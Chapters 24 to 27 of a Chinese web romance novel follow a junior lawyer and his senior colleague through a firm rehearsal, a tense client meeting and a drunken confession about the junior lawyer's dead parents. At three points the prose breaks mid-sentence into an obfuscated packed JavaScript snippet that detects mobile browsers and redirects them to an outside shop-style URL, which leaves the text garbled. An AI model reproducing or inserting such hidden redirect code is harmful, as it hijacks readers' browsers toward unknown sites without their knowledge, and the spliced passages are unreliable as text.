说话说一半的尹观庭：“……” 友好而温馨的互诉衷肠忽然就进行不下去了。 沉默，是今晚的康桥。 过了半天，严熤突然回神，有些尴尬地笑了两声：“哈，哈，所以师兄你提醒我赵……对我……嗯……是因为你看出来了？真的有gay达这种东西？” “或许吧，我一般不注意这个。提醒你是因为赵扶桑浪荡惯了，狗改不了吃屎，”尹观庭随口说道，仔细看了看严熤的表情，“你很难接受？” “没有没有没有！”严熤头摇成了拨浪鼓，“我只有一时没反应过来，就，你看上去不像嘛！” 尹观庭来了逗弄人的兴致：“那你觉得gay应该是什么样子的？” 严熤语塞。 他又没见过几个，怎么知道！ 尹观庭一挑眉：“那你怎么知道我不像的？” 严熤：“……” 总不能说就你平时训话的言辞，一看就是人类绝缘体单身一百年。 这话说出来估计得当场沉入大海，严熤只能讨好地冲人求饶：“我错了，我不该刻板印象的，师兄你要不继续说说你的心路历程？ “所以你前男友难道是你职业道路的引路之光？” 尹观庭摇摇头：“什么引路之光，噩梦还差不多。” 这事情展开讲难免给人回顾噩梦的错觉，尹观庭封存这么多年的回忆，偶然触碰一下都烦躁的要命，今天能说这么多，全靠严熤眼神触动了他某根神经，可以说是色令智昏了。 月下观美人有几分道理。 尹观庭自嘲一笑，随口敷衍明显还很好奇的某人：“不是说了吗，后面结果很惨烈，之后我就专门做律师了，一直到现在。” 严熤有些不甘心，但人不说总不能压着他开口，只能一脸郁郁地转过身体。 尹观庭说完，想起什么似的：“这件事我当时身边的人好多都知道，但知道的不全，所以，赵扶桑说的你都别信。” 关赵扶桑什么事情。严熤不明所以，但还是应下了。 尹观庭被他的乖巧安抚住了。 行，孺子可教。 24. 第 24 章 旅游是一件看似放松，但其实很累的事情。 起码对于严熤来说如此，虽然在海南的旅行总体而言还算愉快，但回到C市之后，他还是累得够呛。 好不容易折腾回家，他舒舒服服的洗了个澡躺在了床上，回忆起本次的旅游经历，思绪不由得有些发散，对他来说，这次旅游可谓是意外颇多，最意外的莫过于尹观庭的性向。 果然怎么看尹观庭都不像是gay吧？ 想到这儿，他在床上翻了个身，忍了忍，还是没忍住，摸出手机给余畅发了一条信息。 当然他并没有明说，只是模糊提到律所有一位男同事性向为男，还没想好接下来要怎么描述，那边余畅就给了一个直击灵魂的回复：“怎么，他要泡你？” 严熤差点被自己的口水呛到，一时间惊悚不已，拿起手机噼里啪啦地打字：“你在想些什么乱七八糟的，我只是……” 只是什么呢？ 严熤打到一半的字打不下去了，其实他也不知道为什么要给余畅说这个事情，按理来说尹观庭的性向对他不会有任何的影响，何况严熤一直觉得自己对于性向不同的人并没有什么歧视。 那边余畅没有等到他的回复，反而来了兴致。 余畅：“怎么？他真的要泡你？“ 余畅：“你不会心动了吧？” 余畅：“不然怎么会想起来跟我说这个事情”， 余畅：“来吧，儿子，爸爸给你一点建议。” 严熤：“……滚滚滚，瞎想什么” 余畅：“这么大反应，我说中了？” 严熤无语，深深感觉今晚的聊天就是一个错误，果断关上手机，把人丢到了一边。 但有些思绪并不是这么容易停下的，他不由自主的在脑海里回想了一遍在海南与尹观庭的相处，越想越有些不可思议。 尤其是尹观庭挑明了赵扶桑对他有意思之后，那种防贼的态度，怎么看都有些超出了同事的范畴。 反而有些像防着情敌。 我去！我在想什么！ 严熤赶紧甩甩头，试图把这个恐怖的想法甩开。 肯定是被余畅带沟里了。 严熤缓和了一下心态，自嘲一笑，好家伙，我也开始有人生四大错觉了是吗？ 兴许尹观庭就是觉得他会受到欺骗，出于师兄对师弟的爱护多说了几句而已，反倒是他这个想法显得有些自作多情。 想着这些杂七杂八的，严熤慢慢睡着了。 律所本次的团建旅游是在国庆假期之前，回来之后大概还有一个星期左右就是国庆假期，而这四五天里，严熤不仅要处理旅游期间留下来的工作，还要参加律所的周年庆，作为本次周年庆表演的MVP（周舟语），严熤还被主任团队的一众女律师拉着排练了很久，作为一个从来没有登台表演过的人，何况还是这种性转表演，光是克服演绎的不自在，就已经足够严熤头疼了。 于是三四天下来，严熤倒是比旅行期间到处跑更累，而最要命的是今天。 根据安排，这是最后一次带妆彩排，以往因为工作游离于排练工作之外的合伙人和高级律师们都被叫了过来，而需要带妆，就意味着严熤不得不再次当着尹观庭的面，穿上那身繁复华丽的长裙。 严熤好不容易调适好的、可以正常面对尹观庭的心态分分钟土崩瓦解。 在这种纠结又痛苦的情绪中，时间过得飞快，临近下班时，严熤被周舟拉到了会议室，开始化妆换衣服。 等他搞完出来的时候，彩排已经进行了有一会儿了。 见他出来，众人爆发出一阵欢呼，看热闹不嫌事大地起哄道：“快快快，公主来了，王子呢？快来看你的未婚妻！” 小陶飞快地从人群后面窜出来：“来了来了来了，未婚妻在哪儿呢！” 见到严熤，她用一种十分浮夸的翻译腔感叹道：“哦，我亲爱的宝贝，今夜的你是如此的美丽~” 严熤顿时露出一个十分恶心的表情。 而众人的欢呼笑闹几乎要把会议室给掀了。 尹观庭静静的站在角落，看着众人喧闹，而如果仔细观察，就会发现他的视线一直凝固在严熤身上，但瞳孔无神，似乎是在发呆。 直到总导演周舟制止了众人的喧闹，招呼道：“尹律、小严，来来来是你俩的对手戏，先走一遍。” 他这才回过神，往前走了几步，迎向那道高挑的身影。 按照剧情，公主在自己的成年礼上外逃，遇到了矮小的王子，两人在逃亡的路途当中互生情愫，最终突破世俗观念在一起，虽然剧情概括起来很俗气，但这个节目本来主打就是一个看同事社死，因此俗不俗的倒也不是十分重要。 开场第一幕就是尹观庭扮演的公主礼仪老师，指导公主完成成年礼上的各种仪式，这也是尹观庭在本剧当中的唯一一次出场，而这一幕的主要看点，就是老师带领公主完成的一段开场舞——一曲优雅的华尔兹。 虽然严熤曾经也是这村头一霸，身体还算灵活，尹观庭也是健身房常客。但显然跳舞那是另外一个领域的事情，两人在拆解动作学习的时候，身体可谓非常僵硬。 最后作为舞蹈老师的辛如芳受不了了，举手投降，把原本优雅的动作改成了简单的转圈圈。 虽然避免了学习的成本，但并不代表今天的表演很顺利，直到两人相拥在一起，伴随着音乐翩翩起舞时，严熤才后知后觉地感受到了另外一种尴尬。 他和尹观庭相拥在一起，呼吸可闻，身体相贴，而且为了避免出戏，周舟还给他找了一双大号的高跟鞋，对于严熤来说，光是站稳就很需要费力气，更不要说需要随着音乐迈动脚步，这就导致他不得不依靠尹观庭的力量，才能勉强维持住身体的平衡，于是两人不得已靠得更近。 虽然现在已经是金秋时节，可C市的秋天并不算凉爽，尹观庭的体温透过薄薄的衣服传过来，像是拥抱住了一个暖炉，炙热的温度连带着全身都烧了起来。 几个简单的动作下来，严熤甚至出了一层薄薄的汗。 等音乐一停，严熤几乎是迫不及待的放开了尹观庭，然而他忘了自己的重心大部分都靠尹观庭来支撑，突兀的放手就是导致身体的失衡，于是严熤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740072|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次重复上次的尴尬，整个人向旁边倒了过去，尹观庭手快的一揽腰，将人抱了回来，严熤受力扑到了尹观庭的怀中，两人之间近得呼吸可闻。 严熤突兀的愣了一下，直到尹观庭微微偏头，问道：“怎么样，还好吗？” 严熤这才回神，十分尴尬的说道：“没事”。 尹观庭于是放开他，微微点头，然后看向周舟：“后面应该没有我的事了，对吧？” 周舟赶紧点头。 尹观庭继而平静说道：“那行，我先上去工作了，你们继续。” 众人不知道是被刚才那几个动作惊到，还是被尹观庭公事公办的表情唬到，一时间安静的没了声音。 等尹观庭的身影消失在门口，气氛才陡然活跃了过来，几个姑娘神色激动地聚在一起嘀嘀咕咕。 严熤不经意间看了一下，只觉得她们看自己的眼神十分奇怪，不由的问道：“怎么了？” “没什么没什么。”这个姑娘连连摇头，眼睛里有种诡异的兴奋，严熤理解不能，只能直接点名：“周周，是不是应该进行下一幕了？” “是的是的。”周舟赶紧从兴奋当中回过神来，安排起众人进行下一幕戏的排练。 为了照顾合伙人和高级律师们的时间，周舟把需要他们出现的场景提前进行了排练，因此，等律所主任王信鸿完成自己的戏份时，剩下的年轻律师们还在热热闹闹的进行着排练，说是排练，其实就是聚在一起，插科打诨互相胡闹。 王信鸿也不制止，笑着跟众人打了个招呼，便出了会议室，但他也没有着急回家，而是转身上楼去了尹观庭的办公室。 果不其然，空空荡荡的15层，只有尹观庭一个人的办公室还亮着灯。 王信鸿走进门，发现尹观庭并没有在工作，反而是开着电脑，不知道在想什么。 听到动静，尹观庭从沉思中回过神来，发现是王信鸿，也不惊讶：“排练完了？” “还没呢，不过我先退场了。”王信鸿大大咧咧的一坐，顺手点了一根烟，“刚才看你神思不属的，怎么，有心事？” 出乎他意料的是，尹观庭竟然点头承认：“确实有点。” 王信鸿险些没拿稳手里的烟：“……？” 尹观庭瞥他一眼：“你不是看出来了吗，有必要这么惊讶？” “咳，”王信鸿咳了一声缓解尴尬，继而说道，“我这不是没想到你居然直接承认了嘛。” 尹观庭十分平静：“这有什么好不承认的。” 王信鸿腹诽不能，但遵循着强大的吃瓜本能，还是问道：“和小严有关？” 尹观庭微微闭了闭眼，严熤的身形在脑海当中十分清晰地浮现了出来，他虽然不是很想回答王信鸿的问题，但不得不承认王信鸿在这方面确实有一种强大的直觉，话一出口就问到了最关键的地方。 整个海南行程的后半段，赵扶桑一直在团队当中阴魂不散，尹观庭烦躁却又没有办法，直到双方离别之时，赵扶桑问了他一句话：“你到底为什么这么介意？” 而他其实已经有了一个清晰的答案。 25. 第 25 章 周年庆的表演也不知道是成功还是不成功，一群业余演员在表演当中笑场了好几次，但这个节目的反响倒是异常热烈，最直接的体现就是严熤这个刚入律所的新人直接出了名。 当然这个出名的方式未必是他想要的就是了。 连带着尹观庭最近都受到了不少老朋友的调侃，大意就是询问他以前的助理留不下来，是不是因为颜值不够。 不过严熤实在是没空理会这些闲言碎语，毕竟摸鱼是短暂的，加班是永恒的。 在周年庆的欢乐过去之后，严熤迎接到了海量的工作，哪怕是国庆7天也没有闲着。 国庆第二天，被尹大律师一个电话召唤到律所的严熤正在苦哈哈的加班，突然接到了行政的通知，因为电力检修，律所所在的大楼将在十一国庆期间停电。 严熤：“……” C市的10月并不凉快，何况这种写字楼的通风效果并不好，严熤在办公室里坚持了半个小时，最后无奈的向大自然投降，顶着一身汗湿的衣服，抱着一摞厚厚的资料下楼，准备回家加班。 在电梯里的时候，严熤突然接到了尹观庭的电话。 尹观庭：“你现在在哪儿？” 严熤擦了擦额头上的汗，口干舌燥的回答到：“在办公室，我准备回家去弄，师兄，你那边很着急吗？” “……你直接下到停车场来，我在律所楼下。”尹观庭顿了顿，接着说道，“不用很着急。” “？”严熤有些茫然。 随着时间的流逝，尹观庭手上的很多项目都进入了下一个阶段，尤其是宏远集团的清溪专项，找茬的谭总暂且被尹观庭安抚住了，但这并不意味着工作量减少，反而增多了，比如这次，谭总直接给尹观庭送了一大堆资料，但尹观庭今天另有招待，不得已只能让严熤前往律所接收资料，顺便将资料梳理出一个大概。 这种事情自从接手清溪村这个项目之后，严熤就一直在做，倒也熟门熟路，他本来以为这次也一样，等自己梳理完之后，通过邮件直接发送给尹观庭，但没想到尹大律师直接来到了律所。 他不是说今天接待客户要晚一点吗？ 严熤虽然疑惑，但并没有耽搁，很快到了负一楼的停车场，找到了尹观庭的车。 车内的空调开得非常足，满身是汗的严熤上车之后十分满足的呼了一口气。 尹观庭合拢腿上的笔记本电脑，顺手给严熤递了一瓶没开封的水，问道：“热坏了没？” 严熤接过水，咕噜咕噜地喝了两大口，接着把头一歪，往座位上一靠，玩笑道：“热坏了，你现在看到的已经是迭代过的版本了。” “嗯，那看来性能应该不错，可以继续工作，”尹观庭煞有介事点了点头，“本来资料梳理报告是打算让你后天再给我的，但既然你已经迭代了，那就明天吧。” “！！！”严熤一秒坐正，“师兄我错啦！” 尹观庭笑了笑，没再继续这个话题，转而把笔记本放到后排，启动车辆驶出了停车场。 车走了一会儿，严熤才想起来问：“我们这是去哪儿？” 尹观庭瞥他一眼：“你这反射弧，别人把你卖了，你还要帮忙数钱。” 严熤：“……” 他有些不服气的嘟囔道：“……我这不是信任你吗！” 尹观庭放在方向盘上的手指蜷了蜷，压下心里的悸动，轻描淡写的说道：“嗯，谢谢。” 严熤：“……” 感觉自己被阴阳了。 他突然发现尹观庭最近的攻击性好像有些强，和自己刚到他手下工作时的状态有一点像，但那个时候尹观庭的态度更加严厉而疏离，但现在，他的语气和神态都有一股说不出的亲昵。 原来我们已经这么熟了吗？ 严熤有一种不真实的恍惚感，他还记得初见面时，尹观庭坐在办公桌后，用一种平静的语气和他介绍自己，疏离而优雅，像一块隔着玻璃展示的华贵的名表。但不知何时起，这个印象渐渐的模糊了，尹观庭的形象渐渐的丰满起来。他确实是个工作狂，但也没有把工作完全当成生活，面对难缠的客户一样会吐槽，会不耐烦，甚至会骂街，有些挑食，还有些蔫坏，坑主任的时候从来不手软，但对外永远一副成熟稳重淡定从容的样子。 他更是记不起来，尹观庭上一次冲他展现那种疾风骤雨般的严厉态度是什么时候。 余畅那条消息不由自主的浮现在了脑海里。 “他是不是想泡你？” “……到我家，然后我们把这个材料梳理讨论一下……严熤，你在听吗？” “嗯？啊？什么？”严熤突然听到自己的名字，陡然回神。 尹观庭无奈，只好再说一遍：“我们现在去我家，一会儿把谭总送过来的项目资料梳理一下，然后和主任他们线上开会讨论这个项目的后续事宜。” “哦哦哦。”严熤有些心不在焉的应了一声。 过了一会儿他突然问道：“师兄，你为什么这次不骂人了？” 尹观庭给了他一个疑惑的眼神。 严熤接着说道：“要是以前我在你说正事的时候走神，你肯定已经开始骂人了，但你今天都没反应，为什么？” 尹观庭沉默了一下，接着很认真的说道：“我以前也没有骂人，我只是指出来你犯的错误而已。” 但严熤显然不满意这个顾左右而言他的回答，就着他的话继续问道：“那你今天为什么不指出来？” 尹观庭在路口的红灯面前停下，转头看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740073|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼，严熤双眸晶亮地看着他，显然是非要得到一个答案。 他顿了一下，最终还是妥协道：“你就当是我给你的犯错的机会吧。” “哦~”严熤笑了起来，像一只偷到油的小狐狸，“我看上去不用重复前任躲在厕所哭的故事了。嗯，谢谢师兄。” 尹观庭心神一动，他怀疑严熤是不是感受到了什么，于是在这里试探他的态度。 这么想着，一个问题在嘴边险些脱口而出，但残留的理智还是把它按了回去。 正好红灯变绿，他若无其事的启动车辆，性能优秀的汽车悄无声息地滑了出去，渐渐汇入到前方密密麻麻的车流当中。 下午六点半，光源集团执行总裁尹观澜结束了一天的工作，在助理的陪同下走出电梯，准备赴一位合作伙伴的邀约。 国庆假期大部分员工都已经放假，偌大的光源集团内部空空荡荡的，连带着停车场也一片坦途，于是尹观澜一眼就看到了前方站着的两个熟人。 他脚步一停，示意助理先去开车，自己则是迎向了那两个人。 “扶桑，好久不见，”尹观澜先是态度亲切地和其中一人打了声招呼，“我听说你前段时间去海南视察行无忧的业务，一切还都顺利？” 行无忧就是赵家的旅游策划品牌。 正如尹观庭猜想的那样，赵扶桑出现在海南，显然不会是陪漂亮姑娘这种一听就欠打的理由，而是有正经事要做，虽然赵公子做不做是另外一回事，但既然和孙家定亲了，那赵扶桑就必须给亲家体现出一个成熟男人应当有的事业心。 赵扶桑不信尹观澜不知道其中的内情。 但尹观澜言笑晏晏，似乎赵扶桑是真的前往海南视察业务，而他作为世交的兄长，出于关心询问了一句。 赵扶桑突然意兴阑珊。 和尹观澜这种不动声色的笑面虎比起来，他还是更喜欢尹观庭毫不客气的真实。 “澜哥说笑了，我那点小打小闹哪儿能比得上你呢？怎么可能有不顺利的。不过今天来找你，是另外有事。” 他伸手一指身边的男人，说道：“我路过光源，正好碰上了老同学，帮他一个忙，不过分吧。” 他身边的男人面貌清秀，看上去只有二十五六，但身上却透着一股过尽千帆的沉稳。 尹观澜自然认出了这位熟人，眼神有些冷，然而面上仍然是一副温和的微笑：“当然不过分，扶桑还是和小时候一样，活泼有义气。” 赵扶桑当然听得出来他在内涵自己和小时候一样不懂事，但他今天本来就是来搞事的，自然不会放在心上。 两人一轮交锋，不痛不痒，而站在赵扶桑身边的男人终于开口了：“尹总您好，很抱歉打扰您，但我想见观庭一面。” 26. 第 26 章 虽然早有预料，听到男人的话，尹观澜还是险些没法维持自己的风度。 他的面色和声音都冷了下来：“兰先生似乎不该来问我。” 兰玉延有一瞬间的尴尬，但摸爬滚打这么久，他还是很快稳住了情绪，说道：“我们已经很久没有联系了，我……不知道他的联系方式。” “既然如此，你们还有什么见面的必要吗？” 兰玉延一时沉默。 “据我所知，你们已经有十年没有任何联系了，兰先生不会觉得发生那种事后，我的弟弟还会对你旧情难忘吧？”尹观澜漠然说道，“未免也太过自信了。” “我没有！”兰玉延直视着他的眼睛，眼睛里是显而易见的愤怒：“你凭什么来评判我们之间的事情！如果不是你们，那件事情根本就不会发生，尹观庭也不会走到那一步！你现在这样针对我，难道就能让你过去那些事情一笔勾销吗尹大总裁？！” 尹观澜脸色几乎冻成了冰：“不能，但毫无疑问我会更舒服一些。” 没等兰玉延有所反应，他看了看表，不耐烦地说道：“成年人的准则之一就是不要对过去的事情纠缠不休。好了，我今天陪小朋友聊天的时间够多了，还有些事情，失陪了。” 说完，他还不忘彬彬有礼的对着赵扶桑一点头，头也不回地走向了自己的车子。 “啧，”赵扶桑摸着下巴，“尹大公子这装模作样的能力还真是无人能比。” 兰玉延平复了心情，转而看着他：“行了，你戏也看够了，该把尹观庭的联系方式给我了吧？” “我怎么会有？”赵扶桑表情惊奇，“你忘了？你们分手之前我就和他闹翻了。” 兰玉延表情厌倦：“你今天遇到我之后，不是一直在暗示我你可以联系到尹观庭吗？难不成你的办法就只有找尹观澜？” “哈哈哈哈……”赵扶桑大笑，拍了拍手：“聪明聪明，不愧是你。我不会给你他的联系方式，我还不想被尹二追杀。当然，我可以告诉你他的工作地点，能不能堵到人，就看你的运气了。” “哦对了，”赵扶桑走出去了几步，又突然转了回来，“我不建议你直接出现在尹观庭面前，小心坏人好事。” 说完他拍了拍兰玉延的肩膀：“回见啦，老同学，希望你到时候还有心情同我吃一顿饭。” 兰玉延不知道是从他的话里想到了什么，始终保持着沉默。 十一国庆节后第一天，宏远集团的项目总算是进入了一个新的阶段。 宏远集团的张总和谭总带着人来到了律所，准备和律师进行一次沟通，而严熤作为梳理工作的主要律师，需要在会议上给大家介绍一下相关的情况。 为此王信鸿会前还专门跟他聊天，大意就是不要紧张，要相信那群法盲很容易被忽悠，而且重头戏肯定都交给尹观庭，年轻人不要有压力。 严熤倒是感觉还好，只是有些无语：“主任你这样编排客户真的好吗？” 王信鸿不以为意说道：“这有什么，拿出你专业律师的气势来，今天你就得把主要关系给他们讲清楚了，省得这帮家伙总觉得这事很简单，凭空给咱们增加工作难度。” 严熤玩笑道：“坏了，您这么说我反而紧张起来了。” 会议室里顿时一片善意的笑声。 王信鸿正准备回他一句，但会议室的门突然被敲响了，接着就见尹观庭带着宏远集团的张总、谭总以及七八个随行人员走进了会议室，众人顿时收声，纷纷起身和来人打招呼。 一番寒暄之后，王信鸿直接说道：“那废话就不多说了，我们正式开始。前期是小严律师一直在整理材料，那现在就让他来给大家介绍一下具体的情况吧。” 说完，他看向了严熤。 然而本应该起身的严熤却并没有动作，他死死盯着宏远一方中的一个男人，整个人像是被凝固了一样。 律所众人面面相觑，目光都集中到了严熤身上，眼神中还有显而易见的担心和疑问。 会议室一时安静了下来。 “严熤，”尹观庭平静的声音打破了寂静，唤回了严熤的理智，“给张总他们介绍一下这个事情的情况。不用紧张，说错了，他们也不会吃了你。” 张总十分自然地笑着接话：“尹律这话就太抬举我们了，我们这些大老粗哪儿懂法律啊，小严律师一看就年轻有为，肯定不会错的。” 宏远一方的人纷纷凑趣地笑了出来，包括被严熤紧紧盯着的男人，只不过他看向严熤的眼神里面还有些疑惑。 严熤没有和他对视，垂下眼眸，站起身微微鞠了个躬，勉强扯出一个笑容：“第一次在这么多大佬面前发言，紧张到反应都慢了，还好各位大人不计小人过。” 待众人一阵善意的笑声过去之后，严熤平复好了心情，把自己的电脑连接上投屏：“这是我们关于本次项目的法律关系梳理……” 严熤讲的内容自然都是事先经过尹观庭审核的，于是在众人认真倾听之时，尹观庭心思完全放在了讲台上谈侃侃而谈的青年身上，眼眸深处隐隐有些担忧，他自认还算了解严熤，虽然因为年轻，严熤还有些经验不足，但有足够的能力，而且以他开朗的性格，当众发言对他来说不是什么负担，更不可能出现紧张到失态的情况。 唯一的解释就是他看向的人和他有纠葛。 尹观庭抬头看向了坐在谭总身边的男人，根据张总的介绍，这个男人是本次清溪项目事实上的总工程负责人，谭穆。本来清溪这个项目还牵扯了一堆刑事案件，谭穆作为总负责人应该被一锅端，但他运气够好，事发之前就已经被谭总调回了总部，脱身的比较早，事后又甩的比较干净，也就没有受到牵连。 两人都姓谭，想来是有什么关系。尹观庭漫不经心的划过这样的一个想法，转而思考起谭穆和严熤的关系上。谭穆看上去已经40多快50的人了，是宏远创始人之一的左膀右臂，是宏远的高层，标准的成功人士，严熤不过二十四五，一个毫无背景刚刚毕业的年轻学生，两人能有什么纠葛？ 尹观庭想了一会儿，没有头绪，只能暂时先把事情放下，专心处理起今天会议的事情。 漫长的会议直接从下午2点开到了6点，众人都身心俱疲，但应酬并没有结束，张总和王信鸿已经在一家星级酒店定好了晚饭，今天参会的人还得一起吃个饭，于是众人从会议室里鱼贯而出，准备回到办公区收拾东西。 严熤疲惫至极，本来打算和主任以及尹观庭告假，先回家休息。 然而谭穆却先出声叫住了他：“小严律师，”他笑眯眯的，十分温和，“看你有些眼熟啊，我们是不是之前见过？” 背对着他的严熤咬了咬牙，好不容易收敛了表情，转头假惺惺的笑道：“您说笑了，我哪有这个荣幸见您啊。” “哦……”谭穆半信半疑的答了一句，很快说道，“太客气了，那我们今天就算认识了，这个事情辛苦您了，一会儿敬您一杯。” “说的对，这件事就是你惹出来的麻烦，还要人家帮你收拾烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740074|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊子，一定要好好谢谢小严律师。” 还没等严熤回话，谭穆身后传来了一个男人严厉的声音，正是谭总。 严熤实在不想和他们周旋，下意识就看向了尹观庭，尹观庭很自然的上前拦住谭总，招呼众人去收拾东西，严熤也就顺势脱身，跟着其他律师一起回到了办公区。 等到了自己的办公桌面前，严熤往桌上一趴，感觉自己连动一下的力气都没有了，然而想到谭穆已经盯上了自己，何况刚才谭总的话一出口，严熤实在没有理由先走，他也不想让主任和尹观庭为难，只能强打起精神收拾东西，跟着众人前往酒店。 饭桌上两个姓谭的有种莫名其妙的言而有信，严熤作为一个年轻律师，居然得到了两人接连敬酒的待遇。在以往严熤跟着尹观庭参加的饭局中，要么就不喝酒，要么就尹观庭帮他挡下，然而今天严熤却一反常态，没等尹观庭说话，他就率先接了下来，高度数的白酒一饮而尽，快得其他人来不及阻拦。 一个基本不沾酒的人，突然喝下两杯高度数的白酒，后果基本可以想象。 两杯酒下肚，严熤基本就没有意识了，尹观庭及时接住他摇摇欲坠的身躯，礼貌而歉意地表示自己得先离席一会儿，把人安顿一下。 谭总的脸色一时很难看。 作为一个生意场上混了这么久的人精，谭总自然看得出来严熤和谭穆之间有问题，考虑到谭穆这些年做的事，他很怀疑严熤是不是谭穆的仇人之一。本来打算今天趁酒酣耳热之际试探一下，没想到这小子这么不能喝，而听到尹观庭要离席，更是差点气乐了。 虽然他知道尹观庭这些年在C市建工领域的名声，但知道归知道，既然这是张总选中的律师，他本来就不信任，这下更让他感觉自己受到了轻视，顿时就要发作。 然而他不乐意，张总可就开心了，尹观庭的话应刚落，张总立马接上：“没问题没问题，早知道小严律师不能喝，就不该敬这杯酒，”他斜了一眼面色铁青的谭总，“这是我们的不对，要我说尹律师也别来回折腾了，你就带小严律师回去休息吧，这不是还有王主任嘛！” 早就发现严熤不对劲，但碍于情面没有办法说的王信鸿立马顺着台阶就下了：“张总说的对，来来来，我敬各位一杯，今天咱们不醉不归啊！” 张总起身，连带着众人都呼啦啦地站起来，王信鸿在这间隙给尹观庭打了一个眼色，示意他先走。 尹观庭微微点头，趁众人注意力不在身上时，带着严熤离开了包间。 等回到车上，尹观庭才有空看一眼严熤的状态。 他把人放在副驾驶上，站在门前，轻轻拍了拍严熤酡红的脸颊：“严熤，你感觉怎么样？” 严熤迷迷糊糊地睁开眼睛，没有焦距的瞳孔在空中转了两圈，最终定格在尹观庭身上，他的眼睛亮了亮，定定地看着他，口齿清晰的说道：“我不叫严熤。” 虽然知道醉鬼没什么意识，但尹观庭还是忍不住乐了，忍不住逗他：“那你叫什么？”话音刚落，他突然灵光一闪，想起来一个称呼，“你难道叫闪闪？” “闪闪……”严熤有些茫然的思考两秒，不知道想起了什么，突然低下了头。 尹观庭感觉不对，伸手抬起他的下巴，发现面前的人已经紧紧闭上了眼睛，两行水珠正顺着脸颊划下。 青年的声音哽咽：“不叫闪闪，闪闪是爸爸妈妈叫的，他们走了，他们走了，走了……” 他渐渐语不成调，最终像一个走失的孩子，痛哭出声。 27. 第 27 章 毫不夸张的讲，尹观庭当时头脑一片空白。 随着年龄的增长，他已经很少需要面对这样的场面了，好友们个顶个的成熟稳重，一般不在人前失态，即使失态，不需要他来多嘴安慰，而其他人就更好对付了，尹大律师一般都是安静的等人发泄完毕，然后摆出一个理解的表情，继续说正事，当事人纵使有天大的委屈，也会在他一本正经的态度面前咽回去。 但不管是出于同事情谊，还是出于内心的隐秘心思，他都不想这样对待严熤，而且也没办法对着一个醉鬼讲道理，于是他只能无措且徒劳地给严熤擦眼泪，然后轻声哄：“没事，别哭。” 虽然此时的地下停车场并没有多少人，但尹观庭并不想引人围观，他把副驾驶的座椅按倒，让严熤躺下，自己则回到了驾驶位上，打算回家再说。 但严熤似乎是哭清醒了，并不给他离开此处的机会，他一只手拉着尹观庭的袖子，一边扒拉着尹观庭的肩膀试图趴上去，嘴里还不忘絮絮叨叨地跟他哭诉，尹观庭被缠得无奈，只能放下离开的念头，一边拍着他的背安慰，一边费力地试图听清他在说什么，如此这般鸡同鸭讲的半天之后，尹观庭总算理顺了严熤絮叨的东西。 他不自觉沉默下来，得知严熤身世时那种复杂而又难言的心绪再次涌了上来。 似乎自从他打算接近严熤开始，就经常出现这种情形。 而严熤丝毫感觉不到他沉凝的情绪，哭了一会累了，便十分利索地过河拆桥，放开尹观庭，倒头在副驾驶上睡了过去。 尹观庭复杂的心绪顿时被打断了，他看了看自己西装上的湿痕，又看看副驾驶上睡得无知无觉的人，忍不住在他脸上捏了一把。 严熤甩了甩头，埋了埋脸，继续睡。 尹观庭收回手，想到自己刚刚的动作，顿时哑然。 没想到自己也有这么无聊的一天。 他一边自嘲，一边启动汽车，带着严熤回了自己的家。 等把人安顿好，他一看时间，估摸着那边酒局也散了，于是摸出手机，给王信鸿打了个电话。 没过一会儿，王信鸿有些含混的声音传来：“喂？” 尹观庭开门见山地问：“对于谭穆这个人你了解多少？” 王信鸿明显愣了一下：“不了解，你问这个干嘛？” “想办法了解一下，”没等王信鸿追问，尹观庭接着说道，“严熤家里的那个案子你应该知道，据他说谭穆是其中的负责人之一。” “……等等等等！”王信鸿差点没压制住自己的声音，好在喝得不算醉，他很快控制住了音量，“严熤家里那个事我后来查过，从情节来看在当年可不算小事，如果谭穆真的有关联，他不可能逍遥到现在的。” 说完他想了想，又补充一句：“而且这跟我们现在要做的事情也没有什么关系吧？你别给我找事儿啊我告诉你……” 还没等他说完，尹观庭直接打断他：“你先别管这些，记得帮我打听一下，挂了。” 王信鸿一脸懵逼的拿着挂断的电话，差点没忍住骂人。 尹观庭对此毫不愧疚，但也没打算把事情全部丢给王信鸿，挂了电话之后，在备忘录上标注了几个需要明天联系的客户，决定利用自己的人脉再打听一下谭穆的消息。 等这一切弄完，他才放空大脑在沙发上坐了下来，眼神不自觉地转到了严熤身上。 严熤一个人占据了他家的长沙发———这小子喝醉后出乎意料的难伺候，抱住沙发上的抱枕后，就和抱枕一起长在了沙发上，尹观庭实在犟不过他，只能任由他在沙发上睡了。 